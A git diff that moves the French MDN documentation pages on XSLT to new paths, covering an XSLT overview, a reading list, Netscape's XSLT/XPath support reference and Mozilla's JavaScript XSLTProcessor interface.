{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "pl": "pl/Transformacje_XML_z_XSLT/Dokumentacja_XSLT//XPath" } ) }} diff --git "a/files/fr/web/xslt/transformations_xml_avec_xslt/pr\303\251sentation/index.html" "b/files/fr/web/xslt/transformations_xml_avec_xslt/pr\303\251sentation/index.html" deleted file mode 100644 index 02ff8fbc27..0000000000 --- "a/files/fr/web/xslt/transformations_xml_avec_xslt/pr\303\251sentation/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Présentation -slug: Web/XSLT/Transformations_XML_avec_XSLT/Présentation -tags: - - Transformations_XML_avec_XSLT - - XML - - XSLT -translation_of: Web/XSLT/Transforming_XML_with_XSLT/An_Overview ---- -« Transformations XML avec XSLT - -

L'eXtensible Stylesheet Language/Transform est un langage très puissant, et une étude approfondie de celui-ci n'est pas l'objectif de ce document, mais une présentation succincte des concepts fondamentaux vous aidera à mieux appréhender la description des capacités de Netscape qui suit.

- -
-
Une feuille de styles XSLT est un document XML.
-
Contrairement aux CSS qui ont leur propre syntaxe, une feuille de style XSLT est un document XML, qui doit se conformer à toutes les règles du langage XML. Ainsi, le principe d'une transformation est qu'un document XML est utilisé pour transformer un autre document XML.
-
- -
-
Une feuille de styles XSLT est identifiée comme telle par un en-tête XSLT standard.
-
L'élément externe dans une feuille de styles XSLT doit être l'élément <xsl:stylesheet> (ou éventuellement l'élément <xsl:transform>). Cet élément inclut au moins une déclaration d'espace de nommage (namespace) et l'attribut de version obligatoire. On peut également inclure d'autres espaces de nommage et trois attributs optionnels.
-
- -
-
L'espace de nommage imposé pour XSLT est "http://www.w3.org/1999/XSL/Transform".
-
Les espaces de nommages sont une source de confusion importante dans XML. Bien qu'ils semblent souvent être des URI, ils ne se réfèrent pas à une ressource située à cette adresse. Ils sont uniquement un moyen d'attribuer un identifiant unique à un ensemble d'éléments connus. La chaîne "http://www.w3.org/1999/XSL/Transform" est une constante qui marque les éléments ainsi désignés comme appartenant à l'ensemble des balises définies par le W3C dans sa recommandation XSLT de 1999. Une autre chaîne occasionnellement utilisée dans les feuilles de styles, "http://www.w3.org/TR/WD-xsl", indique la conformité avec un des premiers brouillons de travail (Working Draft en anglais, d'où le WD) du document du W3C. Ce dernier espace de nommage n'est pas compatible avec celui que la W3C a adopté et il n'est pas supporté par Netscape.
-
Comme saisir la chaîne "http://www.w3.org/1999/XSL/Transform" à chaque fois serait pénible et rendrait la balisage difficile à lire, il existe un mécanisme pour assigner une abréviation à un espace de nommage dans l'en-tête de la feuille de styles. Dans sa totalité, l'élément ouvrant d'une feuille de style serait :
-
- -
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
-
- -
-
Le pseudo attribut xmlns définit xsl comme l'abréviation du nom complet de l'espace de nommage pour ce document. Ainsi l'élément stylesheet ci-dessus est préfixé par xsl:. Bien que xsl soit conventionnellement utilisé, il n'est pas imposé et il est possible de choisir un autre raccourci. Les exemples de ce document utilisent tous le préfixe xsl.
-
- -
-
Toutes les transformations XSLT sont exécutées sur les arbres, et non sur les documents.
-
Le moteur de transformation XSLT, appelé le processeur, ne fonctionne pas directement sur les documents. Avant qu'une transformation ne soit effectuée, le document XML originel et la feuille de styles doivent être analysés, afin de créer une représentation abstraite de la structure du document qui sera mise en mémoire. C'est cette représentation, appelée « arbre », qui sera traitée par le processeur. L'arbre est un type de données abstrait, un modèle conceptuel que peut être implémenté de diverses façons en fonction l'analyseur et le processeur.
-
Netscape utilise une structure d'arbre proche de celle du DOM du W3C, mais d'autres sont également possibles. Les seules obligations concernent la disposition des objets dans l'arbre, leurs propriétés, et leurs relations.
-
L'arbre consiste en une organisation hiérarchique de nœuds. Il peut être constitué à l'aide de sept types de nœuds : le nœudroot (unique), des nœudsélément, des nœudstext, des nœudsattribut, des nœuds commentaires, des nœuds d'instructions de traitement, et des nœuds d'espaces de nommage.
-
En haut de l'arbre on trouve le nœud racine (root). Le nœud racine ne correspond à aucune partie individuelle du document XML : il représente l'ensemble du document. En dessous du nœud racine se trouvent ses enfants, qui peuvent être des éléments, des commentaires, des instructions de traitement, etc. Certains de ces enfants peuvent également avoir leurs propres enfants, et ainsi de suite sur plusieurs niveaux. Il existe des contraintes concernant le positionnement des noeuds : par exemple, les nœuds texte ne peuvent pas avoir d'enfant.
-
Le résultat du traitement par le processeur est également un arbre. Netscape utilise cet arbre pour créer le contenu dans la fenêtre du navigateur.
-
- -
-
XSLT est un langage déclaratif de haut niveau.
-
Une feuille de styles XSLT est un ensemble de règles, appeléesmodèles (templates en anglais), qui déclare chacune qu'un nœud correspondant à ce motif spécifique doit être traité de cette façon spécifique et se retrouver à cette position spécifique dans l'arbre résultat. Les détails de l'exécution sont laissés au processeur, et comme l'ordre d'exécution des règles de la feuille de styles ne peut donc être garanti, XSLT ne supporte aucune fonctionnalité pouvant provoquer un effet de bord. En cela, il se comporte commeLisp ouScheme.
-
- -
-
Les emplacements dans les arbres sont spécifiés à l'aide de XPath, une recommandation du W3C.
-
Les transformations dépendent de la capacité du processeur à identifier individuellement les nœuds dans l'arbre. Pour faciliter cela, le W3C a décidé d'utiliser un langage séparé, XPath, qui a également d'autres utilisations en dehors du contexte XSLT. Comme son nom l'indique, XPath définit un « chemin » (path en anglais) que le processeur doit suivre dans l'arbre pour parvenir au nœud voulu. Ce chemin se compose d'expressions spécifiques à XPath à évaluer, expressions qui peuvent contenir un certain nombre de conditions à remplir, une méthode pour associer des nœuds et/ou d'une indication de direction dans l'arbre. Vous trouverez une description complète des spécifications de XPath les plus communément utilisées avec XSLT dans les documents de la sectionréférence.
-
- -
-
Les conflits éventuels dans la correspondance avec les modèles sont résolus par l'utilisation d'un ensemble de règles de priorité en cascade.
-
En général, une règle modèle plus spécifique a la priorité sur une d'ordre plus général, et toutes choses égales par ailleurs, une règle apparaissant tard dans la feuille de style a la priorité sur celles qui se trouvent avant elle.
-
- -
-
Les feuilles de styles peuvent être attachées à un document XML par l'intermédiaire d'une instruction de traitement.
-
La méthode la plus simple pour indiquer la feuille de styles XSLT à utiliser pour traiter un document XML particulier est d'inclure une instruction de traitement dans le document XML lui-même. Par exemple, si la feuille de styles se nomme inventory.xsl et se trouve dans le même répertoire que le document XML, l'instruction de traitement dans le document pourrait ressembler à :
-
- -
<?xml-stylesheet type="text/xml" href="inventory.xsl"?>
-
- -
-
Cette instruction doit être placée dans le prologue du document XML.
-
- -

Pour en savoir plus sur XSLT et XPath, voir la section Autres ressources à la fin de cet article.

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/An_Overview" } ) }}

diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.html b/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.html new file mode 100644 index 0000000000..02ff8fbc27 --- /dev/null +++ b/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.html @@ -0,0 +1,77 @@ +--- +title: Présentation +slug: Web/XSLT/Transformations_XML_avec_XSLT/Présentation +tags: + - Transformations_XML_avec_XSLT + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT/An_Overview +--- +« Transformations XML avec XSLT + +

L'eXtensible Stylesheet Language/Transform est un langage très puissant, et une étude approfondie de celui-ci n'est pas l'objectif de ce document, mais une présentation succincte des concepts fondamentaux vous aidera à mieux appréhender la description des capacités de Netscape qui suit.

+ +
+
Une feuille de styles XSLT est un document XML.
+
Contrairement aux CSS qui ont leur propre syntaxe, une feuille de style XSLT est un document XML, qui doit se conformer à toutes les règles du langage XML. Ainsi, le principe d'une transformation est qu'un document XML est utilisé pour transformer un autre document XML.
+
+ +
+
Une feuille de styles XSLT est identifiée comme telle par un en-tête XSLT standard.
+
L'élément externe dans une feuille de styles XSLT doit être l'élément <xsl:stylesheet> (ou éventuellement l'élément <xsl:transform>). Cet élément inclut au moins une déclaration d'espace de nommage (namespace) et l'attribut de version obligatoire. On peut également inclure d'autres espaces de nommage et trois attributs optionnels.
+
+ +
+
L'espace de nommage imposé pour XSLT est "http://www.w3.org/1999/XSL/Transform".
+
Les espaces de nommages sont une source de confusion importante dans XML. Bien qu'ils semblent souvent être des URI, ils ne se réfèrent pas à une ressource située à cette adresse. Ils sont uniquement un moyen d'attribuer un identifiant unique à un ensemble d'éléments connus. La chaîne "http://www.w3.org/1999/XSL/Transform" est une constante qui marque les éléments ainsi désignés comme appartenant à l'ensemble des balises définies par le W3C dans sa recommandation XSLT de 1999. Une autre chaîne occasionnellement utilisée dans les feuilles de styles, "http://www.w3.org/TR/WD-xsl", indique la conformité avec un des premiers brouillons de travail (Working Draft en anglais, d'où le WD) du document du W3C. Ce dernier espace de nommage n'est pas compatible avec celui que la W3C a adopté et il n'est pas supporté par Netscape.
+
Comme saisir la chaîne "http://www.w3.org/1999/XSL/Transform" à chaque fois serait pénible et rendrait la balisage difficile à lire, il existe un mécanisme pour assigner une abréviation à un espace de nommage dans l'en-tête de la feuille de styles. Dans sa totalité, l'élément ouvrant d'une feuille de style serait :
+
+ +
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
+
+ +
+
Le pseudo attribut xmlns définit xsl comme l'abréviation du nom complet de l'espace de nommage pour ce document. Ainsi l'élément stylesheet ci-dessus est préfixé par xsl:. Bien que xsl soit conventionnellement utilisé, il n'est pas imposé et il est possible de choisir un autre raccourci. Les exemples de ce document utilisent tous le préfixe xsl.
+
+ +
+
Toutes les transformations XSLT sont exécutées sur les arbres, et non sur les documents.
+
Le moteur de transformation XSLT, appelé le processeur, ne fonctionne pas directement sur les documents. Avant qu'une transformation ne soit effectuée, le document XML originel et la feuille de styles doivent être analysés, afin de créer une représentation abstraite de la structure du document qui sera mise en mémoire. C'est cette représentation, appelée « arbre », qui sera traitée par le processeur. L'arbre est un type de données abstrait, un modèle conceptuel que peut être implémenté de diverses façons en fonction l'analyseur et le processeur.
+
Netscape utilise une structure d'arbre proche de celle du DOM du W3C, mais d'autres sont également possibles. Les seules obligations concernent la disposition des objets dans l'arbre, leurs propriétés, et leurs relations.
+
L'arbre consiste en une organisation hiérarchique de nœuds. Il peut être constitué à l'aide de sept types de nœuds : le nœudroot (unique), des nœudsélément, des nœudstext, des nœudsattribut, des nœuds commentaires, des nœuds d'instructions de traitement, et des nœuds d'espaces de nommage.
+
En haut de l'arbre on trouve le nœud racine (root). Le nœud racine ne correspond à aucune partie individuelle du document XML : il représente l'ensemble du document. En dessous du nœud racine se trouvent ses enfants, qui peuvent être des éléments, des commentaires, des instructions de traitement, etc. Certains de ces enfants peuvent également avoir leurs propres enfants, et ainsi de suite sur plusieurs niveaux. Il existe des contraintes concernant le positionnement des noeuds : par exemple, les nœuds texte ne peuvent pas avoir d'enfant.
+
Le résultat du traitement par le processeur est également un arbre. Netscape utilise cet arbre pour créer le contenu dans la fenêtre du navigateur.
+
+ +
+
XSLT est un langage déclaratif de haut niveau.
+
Une feuille de styles XSLT est un ensemble de règles, appeléesmodèles (templates en anglais), qui déclare chacune qu'un nœud correspondant à ce motif spécifique doit être traité de cette façon spécifique et se retrouver à cette position spécifique dans l'arbre résultat. Les détails de l'exécution sont laissés au processeur, et comme l'ordre d'exécution des règles de la feuille de styles ne peut donc être garanti, XSLT ne supporte aucune fonctionnalité pouvant provoquer un effet de bord. En cela, il se comporte commeLisp ouScheme.
+
+ +
+
Les emplacements dans les arbres sont spécifiés à l'aide de XPath, une recommandation du W3C.
+
Les transformations dépendent de la capacité du processeur à identifier individuellement les nœuds dans l'arbre. Pour faciliter cela, le W3C a décidé d'utiliser un langage séparé, XPath, qui a également d'autres utilisations en dehors du contexte XSLT. Comme son nom l'indique, XPath définit un « chemin » (path en anglais) que le processeur doit suivre dans l'arbre pour parvenir au nœud voulu. Ce chemin se compose d'expressions spécifiques à XPath à évaluer, expressions qui peuvent contenir un certain nombre de conditions à remplir, une méthode pour associer des nœuds et/ou d'une indication de direction dans l'arbre. Vous trouverez une description complète des spécifications de XPath les plus communément utilisées avec XSLT dans les documents de la sectionréférence.
+
+ +
+
Les conflits éventuels dans la correspondance avec les modèles sont résolus par l'utilisation d'un ensemble de règles de priorité en cascade.
+
En général, une règle modèle plus spécifique a la priorité sur une d'ordre plus général, et toutes choses égales par ailleurs, une règle apparaissant tard dans la feuille de style a la priorité sur celles qui se trouvent avant elle.
+
+ +
+
Les feuilles de styles peuvent être attachées à un document XML par l'intermédiaire d'une instruction de traitement.
+
La méthode la plus simple pour indiquer la feuille de styles XSLT à utiliser pour traiter un document XML particulier est d'inclure une instruction de traitement dans le document XML lui-même. Par exemple, si la feuille de styles se nomme inventory.xsl et se trouve dans le même répertoire que le document XML, l'instruction de traitement dans le document pourrait ressembler à :
+
+ +
<?xml-stylesheet type="text/xml" href="inventory.xsl"?>
+
+ +
+
Cette instruction doit être placée dans le prologue du document XML.
+
+ +

Pour en savoir plus sur XSLT et XPath, voir la section Autres ressources à la fin de cet article.

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/An_Overview" } ) }}

diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html b/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html new file mode 100644 index 0000000000..d91041105f --- /dev/null +++ b/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html @@ -0,0 +1,217 @@ +--- +title: Autres ressources +slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources +tags: + - Transformations_XML_avec_XSLT + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading +--- +« Transformations XML avec XSLT +

Sources imprimées

+ +

Livres

+ +
+
XSLT: Programmer's Reference, Second Edition + +
+
Auteur : Michael H. Kay
+
Nombre de page : 992 pages
+
Éditeur : Wrox; 2 edition (May 3, 2001)
+
ISBN: 0764543814 +
+
Michael Kay est membre du groupe de travail XSL du W3C et le développeur de son propre processeur XSLT libre, Saxon. Il est également l'auteur du seul livre sur ce sujet à avoir bénéficié d'une seconde édition. C'est un gros livre, bien articulé, détaillé, épuisant le sujet, voire parfois le lecteur, et qui couvre toutes les bases possibles de XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/XSLT-Programme.../dp/0764543814

+ +

 

+ +
+
XSLT + +
+
Auteur : Doug Tidwell
+
Nombre de page : 473 pages
+
Éditeur : O'Reilly Media; 1 edition (August 15, 2001)
+
ISBN: 0596000537 +
+
Doug Tidwell est un développeur senior chez IBM et unévangéliste reconnu des technologies XML en général. Il est l'auteur de plusieurs articles et tutoriels concernant divers aspects de XML sur l'exhaustif site Web développeur d'IBM. Ce livre est moins complet que celui de Michael Kay, mais il couvre correctement les bases, et offre quelques exemples intéressants.
+
+
+
+
+
+ +

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

+ +

 

+ +
+
Learning XML, Second Edition + +
+
Auteur : Erik T. Ray
+
Nombre de page : 432 pages
+
Éditeur : O'Reilly Media; 2 edition (September 22, 2003)
+
ISBN: 0596004206 +
+
Comme l'indique le titre, il s'agit d'un aperçu général de XML. Le chapitre 6 est dédié spécifiquement à XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/gp/product/0596004206

+ +

Sources numériques

+ +

Sites Web

+ +
+
World Wide Web Consortium + +
+
Page d'accueil du W3C : http://www.w3.org/
+
Page de XSL : http://www.w3.org/Style/XSL/
+
Recommandation XSLT 1.0 : http://www.w3.org/TR/xslt
+
Archive of public style (CSS and XSLT) discussions : http://lists.w3.org/Archives/Public/www-style/
+
Recommandation XPath 1.0 : http://www.w3.org/TR/xpath +
+
Le World Wide Web Consortium est l'organisme qui publie des recommandations sur un certain nombre de technologies Web, dont beaucoup deviennent de-facto des standards.
+
+
+
+
+
+ +

Articles

+ +
+
Hands-on XSL + +
+
Auteur : Don R. Day
+
Adresse : http://www-106.ibm.com/developerwork...-hands-on-xsl/
+
+
+
+ +
+
Understanding XSLT + +
+
Auteur : Jay Greenspan
+
Adresse : http://hotwired.lycos.com/webmonkey/...l?tw=authoring
+
+
+
+ +
+
What is XSLT? + +
+
Auteur : G. Ken Holman
+
Adresse : http://www.xml.com/pub/a/2000/08/holman/index.html
+
+
+
+ +

Tutoriels et exemples

+ +
+
Zvon + +
+
XSL Programmers : http://www.zvon.org/o_html/group_xsl.html
+
+
+
+ +
+
Jeni's XSLT Pages + +
+
Index : http://www.jenitennison.com/xslt/
+
+
+
+ +
+
XMLPitstop.com + +
+
StyleSheet Center : http://www.xmlpitstop.com/Default.asp?DataType=SSC
+
+
+
+ +
+
XSL Tutorial + +
+
Index : http://www.nwalsh.com/docs/tutorials/xsl/
+
+
+
+ +

Extensions

+ +
+
Extension Firefox XSL Results + +
+
Permet à chacun d'essayer XSL, en appliquant des feuilles de styles XSL (saisies manuellement, via une URL ou depuis un fichier local) à un document XML (un document chargé dans une fenêtre du navigateur ou un document saisi manuellement).
+
+
+
+ +

Autres ressources

+ +
+
Cover Pages + +
+
Extensible Stylesheet Language (XSL) : http://www.oasis-open.org/cover/xsl.html
+
+
+
+ +
+
XSL-List + +
+
Abonnement : http://www.mulberrytech.com/xsl/xsl-list/
+
Archives : http://www.biglist.com/lists/xsl-list/archives/ +
+
XSL-List est une liste de diffusion généraliste très active, hébergée par Mulberry Technologies
+
+
+
+
+
+ +
+
mozilla.dev.tech.xslt + +
+
Google Groups : http://groups.google.com/group/mozilla.dev.tech.xslt + +
+
Ce groupe de discussion est l'endroit où discuter des spécificités XSLT de Netscape.
+
+
+
+
+
+ +


+ Interwiki Languages Links

+ +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}

diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/index.html b/files/fr/web/xslt/transforming_xml_with_xslt/index.html new file mode 100644 index 0000000000..11c1e139b0 --- /dev/null +++ b/files/fr/web/xslt/transforming_xml_with_xslt/index.html @@ -0,0 +1,112 @@ +--- +title: Transformations XML avec XSLT +slug: Web/XSLT/Transformations_XML_avec_XSLT +tags: + - Transformations_XML_avec_XSLT + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT +--- +

+


+

+

Présentation

+

La séparation du contenu et de la présentation est l'une des caractéristiques principale du XML. La structure d'un document XML est conçue pour refléter et clarifier les relations entre les différents aspects du contenu lui-même, sans l'obsurcir par la nécessité d'y intégrer des indications sur la présentation qui lui sera appliquée ensuite. Cette structure intelligente est particulièrement importante, car de plus en plus de transferts de données sont automatisés et se font entre des machines très hétérogènes reliées par un réseau. +

Mais au bout du compte, la plus grande partie du contenu des documents XML devra être présentée à des lecteurs humains. Parce qu'un navigateur possède une interface familière et extrêmement flexible, c'est un moyen idéal pour afficher une version du contenu XML remise en forme spécifiquement pour être présentée. Conçu dès ses débuts pour s'appuyer sur un large éventail de technologies XML, Mozilla intègre tous les mécanismes nécessaires au traitement des documents XML originaux, et des feuilles de styles spécialisées utilisées pour définir le traitement à leur appliquer pour un affichage en HTML. En déplaçant le processus de transformation du côté client, on réduit ainsi la charge serveur. +

Actuellement, Gecko (le moteur de rendu de Mozilla et Firefox) supporte deux formats de feuilles de styles XML. Pour le contrôle basique de l'apparence -- fontes, couleurs, position, etc. -- Gecko utilise CSS, tiré du DHTML. Toutes les spécifications CSS1 et la majorité des CSS2 sont supportées, le support du tout récent CSS3 est en développement. Pour plus d'information à propos de CSS, consultez le site Eric Meyer's CSS pages. +

Nous nous intéressons ici au second type de feuilles de styles supporté par Gecko : la feuille de style XSLT. XSLT signifie eXtensible Stylesheet Language/Transform. XSLT permet à un concepteur de feuilles de styles de transformer un document XML de départ de deux façons significatives : manipuler et réordonner le contenu (une réorganisation complète de celui-ci est possible si on le désire), et le transférer dans un autre format (dans le cas de Mozilla, on se concentre sur sa conversion à la volée en HTML pour permettre son affichage dans le navigateur). +

+

Référence XSLT/XPath

+

Éléments

+ +

Axes

+ +

Fonctions

+ +

Autres ressources

+ +

Index

+
+

Information sur le document original

+
  • Copyright : Copyright © 2001-2003 Netscape. All rights reserved. +
  • Note : Cette article faisait partie du site DevEdge. +
+
+


+Interwiki Languages Links +

{{ languages( { "en": "en/Transforming_XML_with_XSLT", "es": "es/Transformando_XML_con_XSLT", "pl": "pl/Transformacje_XML_z_XSLT", "ko": "ko/Transforming_XML_with_XSLT" } ) }} diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html b/files/fr/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html new file mode 100644 index 0000000000..0e839c04d8 --- /dev/null +++ b/files/fr/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html @@ -0,0 +1,238 @@ +--- +title: Transformations_XML_avec_XSLT/La_référence_XSLT//XPath_de_Netscape +slug: Web/XSLT/Transformations_XML_avec_XSLT/La_référence_XSLT_XPath_de_Netscape +translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference +--- +

+

La liste ci-dessous, ordonnée alphabétiquement, présente les élémentes, les axes et les fonctions de la recommandation XSLT 1.0 du W3C, ainsi que les sections appropriées de la recommandation XPath. Le développement de XSLT est toujours en cours, et ce document sera mis à jours au fur et à mesure de l'extension des fonctionnalités. +

+

Éléments

+

xsl:apply-imports

+

(supporté) +

+

xsl:apply-templates

+

(supporté) +

+

xsl:attribute

+

(supporté) +

+

xsl:attribute-set

+

(supporté) +

+

xsl:call-template

+

(supporté) +

+

xsl:choose

+

(supporté) +

+

xsl:comment

+

(supporté) +

+

xsl:copy

+

(supporté) +

+

xsl:copy-of

+

(supporté) +

+

xsl:decimal-format

+

(supporté) +

+

xsl:element

+

(supporté) +

+

xsl:fallback

+

(non supporté) +

+

xsl:for-each

+

(supporté) +

+

xsl:if

+

(supporté) +

+

xsl:import

+

(mostly supported) +

+

xsl:include

+

(supporté) +

+

xsl:key

+

(supporté) +

+

xsl:message

+

(supporté) +

+

xsl:namespace-alias

+

(non supporté) +

+

xsl:number

+

(partiellement supporté) +

+

xsl:otherwise

+

(supporté) +

+

xsl:output

+

(partiellement supporté) +

+

xsl:param

+

(supporté) +

+

xsl:preserve-space

+

(supporté) +

+

xsl:processing-instruction

+

xsl:sort

+

(supporté) +

+

xsl:strip-space

+

(supporté) +

+

xsl:stylesheet

+

(partiellement supporté) +

+

xsl:template

+

(supporté) +

+

xsl:text

+

(partiellement supporté) +

+

xsl:transform

+

(supporté) +

+

xsl:value-of

+

(partiellement supporté) +

+

xsl:variable

+

(supporté) +

+

xsl:when

+

(supporté) +

+

xsl:with-param

+

(supporté) +

+

Axes

+

ancestor

+

ancestor-or-self

+

attribute

+

child

+

descendant

+

descendant-or-self

+

following

+

following-sibling

+

namespace

+

(non supporté) +

+

parent

+

preceding

+

preceding-sibling

+

self

+

Fonctions

+

boolean()

+

(supporté) +

+

ceiling()

+

(supporté) +

+

concat()

+

(supporté) +

+

contains()

+

(supporté) +

+

count()

+

(supporté) +

+

current()

+

(supporté) +

+

document()

+

(supporté) +

+

element-available()

+

(supporté) +

+

false()

+

(supporté) +

+

floor()

+

(supporté) +

+

format-number()

+

(supporté) +

+

function-available()

+

(supporté) +

+

generate-id()

+

(supporté) +

+

id()

+

(partiellement supporté) +

+

key()

+

(supporté) +

+

lang()

+

(supporté) +

+

last()

+

(supporté) +

+

local-name()

+

(supporté) +

+

name()

+

(supporté) +

+

namespace-uri()

+

(supporté) +

+

normalize-space()

+

(supporté) +

+

not()

+

(supporté) +

+

number()

+

(supporté) +

+

position()

+

(supporté) +

+

round()

+

(supporté) +

+

starts-with()

+

(supporté) +

+

string()

+

(supporté) +

+

string-length()

+

(supporté) +

+

substring()

+

(supporté) +

+

substring-after()

+

(supporté) +

+

substring-before()

+

(supporté) +

+

sum()

+

(supporté) +

+

system-property()

+

(supporté) +

+

translate()

+

(supporté) +

+

true()

+

(supporté) +

+

unparsed-entity-url()

+

(supporté) +

Interwiki Languages Links +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "pl": "pl/Transformacje_XML_z_XSLT/Dokumentacja_XSLT//XPath" } ) }} diff --git a/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html b/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html new file mode 100644 index 0000000000..b92020c2f9 --- /dev/null +++ b/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html @@ -0,0 +1,64 @@ +--- +title: Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL +slug: >- + Web/XSLT/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL +tags: + - XSLT +translation_of: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations +--- +

Ce document décrit l'interface JavaScript pour le moteur de traitement XSLT (TransforMiiX) de Mozilla 1.2 et supérieur.

+

Création de XSLTProcessor

+

Pour commencer, nous avons besoin de créer un objet XSLTProcessor :

+
var processor = new XSLTProcessor();
+
+

Spécification de la feuille de style

+

Avant d'utiliser cet objet, nous devons importer une feuille de style avec la fonction importStylesheet(). Elle a un unique paramètre, qui est le nœud DOM de la feuille de style XSLT à importer — remarquez que l'importation est directe, ce qui signifie que si nous modifions la feuille de style DOM après son importation, cela sera reflété lors du traitement. Il est cependant conseillé d'utiliser les paramètres de feuille de style plutôt que de modifier le DOM. C'est généralement plus facile et on obtient de meilleures performances.

+
var testTransform = document.implementation.createDocument("", "test", null);
+// juste un exemple pour obtenir une transformation dans un script étant donné que
+// la fonction DOM XMLDocument.load est asynchrone, donc tout le traitement se fait
+// dans le gestionnaire onload
+testTransform.addEventListener("load", onload, false);
+testTransform.load("test-transform.xml");
+function onload() {
+  processor.importStylesheet(testTransform);
+}
+
+

importStylesheet requiert un argument, un nœud DOM. Si ce nœud est un nœud de document, nous pouvons passer par une transformation XSL ou une transformation littérale d'élément résultant, autrement il devra être un élément <tt>xsl:stylesheet</tt> ou <tt>xsl:transform</tt>.

+

Transformation du document

+

Nous pouvons utiliser les méthodes transformToDocument() ou transformToFragment() pour transformer un document à l'aide de la feuille de style spécifiée.

+

transformToDocument

+

transformToDocument() prend un argument, le nœud source à transformer, et retourne un nouveau Document DOM avec les résultats de la transformation :

+
var newDocument = processor.transformToDocument(domToBeTransformed);
+
+

L'objet résultant est un HTMLDocument si la méthode de sortie de la feuille de style est <tt>html</tt>, un XMLDocument pour <tt>xml</tt>, et pour la méthode de sortie <tt>text</tt> un XMLDocument avec uniquement un élément racine <transformiix:result> avec le texte comme descendant.

+

transformToFragment

+

Nous pouvons également utiliser transformToFragment() qui retournera un nœud DocumentFragment DOM. C'est très efficace car l'adjonction d'un fragment à un autre nœud adjoint de façon transparente tous les descendants de ce fragment, et le fragment lui-même n'est pas fusionné. Les fragment sont donc utiles pour déplacer les nœuds et les stocker sans les éléments inutiles d'un objet document entier.

+

transformToFragment prend deux arguments : le document source à transformer (comme ci-dessus) et un objet Document qui possèdera le fragment (tous les fragments doivent être possédés par un document).

+
var ownerDocument = document.implementation.createDocument("", "test", null);
+var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument);
+
+

transformToFragment ne produira que des objets HTML DOM que si le propriétaire du document est lui-même un HTMLDocument, ou si la méthode de sortie de la feuille de style est <tt>HTML</tt>. Il ne produira pas un objet HTML DOM si seul l'élément de haut niveau du résultat est <html> car transformToFragment est rarement utilisé pour créer cet élément. Si nous voulons annuler cela, nous pouvons définir la méthode de sortie normale par le moyen standard.

+

Définition des paramètres

+

Nous pouvons contrôler les paramètres de la feuille de style à l'aide des méthodes setParameter, getParameter et removeParameter. Elles nécessitent une URI d'espace de nommage et un nom local qui seront les deux premiers paramètres, setParameter sera un troisième paramètres — la valeur de ce dernier paramètre étant à définir.

+

Réinitialisation

+

L'objet XSLTProcessor implémente également une méthode reset() qui peut être utilisée pour supprimer toutes les feuilles de style et tous les paramètres puis ramener le processeur dans son état initial. Cette méthode est implémentée dans Mozilla 1.3 et supérieurs.

+

Ressources

+ +
+

Informations sur le document original

+
    +
  • Auteur(s) : Mike Hearn
    • +
  • Dernière mise à jour : 21 décembre 2005
    • +
  • Copyright: Copyright © Mike Hearn
    • +
+
+

Interwiki Languages Links

+
+  
diff --git a/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html b/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html deleted file mode 100644 index b92020c2f9..0000000000 --- a/files/fr/web/xslt/utilisation_de_l'interface_javascript_de_mozilla_pour_les_transformations_xsl/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL -slug: >- - Web/XSLT/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL -tags: - - XSLT -translation_of: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations ---- -

Ce document décrit l'interface JavaScript pour le moteur de traitement XSLT (TransforMiiX) de Mozilla 1.2 et supérieur.

-

Création de XSLTProcessor

-

Pour commencer, nous avons besoin de créer un objet XSLTProcessor :

-
var processor = new XSLTProcessor();
-
-

Spécification de la feuille de style

-

